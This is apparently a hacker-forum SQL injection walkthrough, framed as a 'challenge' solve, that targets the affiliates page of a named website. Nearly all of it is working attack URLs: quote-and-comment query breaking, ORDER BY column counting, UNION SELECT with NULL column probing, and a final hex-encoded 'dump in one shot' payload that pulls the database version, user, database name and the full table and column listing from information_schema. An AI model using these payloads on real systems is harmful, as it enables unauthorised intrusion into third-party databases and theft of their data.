SQLinjection Whoiskeystone by GrenXPaRTa

[SOLVE OF SQLi CHALLENGE]

Site   : http://whoiskeystone.com/?act=affiliates.page&pcode=members

Firstly We Will Fix The Site

http://whoiskeystone.com/?act=affiliates.page&pcode=members'--+-

Count Column

http://whoiskeystone.com/?act=affiliates.page&pcode=members' ORDER BY 8--+-

Now Do UNION SELECT

http://whoiskeystone.com/?act=affiliates.page&pcode=members' and 0 union select 1,2,3,4,5,6,7,8--+-

Oops White Page Error Lets See View Source. There Is Nothing :)

Now Use Null Method

http://whoiskeystone.com/?act=affiliates.page&pcode=members' AND 0 UNION SELECT 1,2,3,NULL,5,6,7,8--+-

Got The COLUMN 5 ;) | Another COLUMN IS Also Vulnerable, FOR This Just USE NULL IN 4 AND 5 NUMBER COLUMNS.

http://whoiskeystone.com/?act=affiliates.page&pcode=members' and 0 union select 1,2,3,null,null,6,7,8--+-

Yup Now Vulnerable Is 2.

Lets Print Dios In Any Column.

http://whoiskeystone.com/?act=affiliates.page&pcode=members%27%20and%200%20union%20select%201,2,3,null,concat(0x3c2f7363726970743e3c666f6e7420636f6c6f723d7265643e4772656e5850615254613c2f666f6e743e3c62723e,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,0x3c62723e,(select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0x203a3a20,2)),@,2))),6,7,8--+-

Thanks to All Member SQL Injection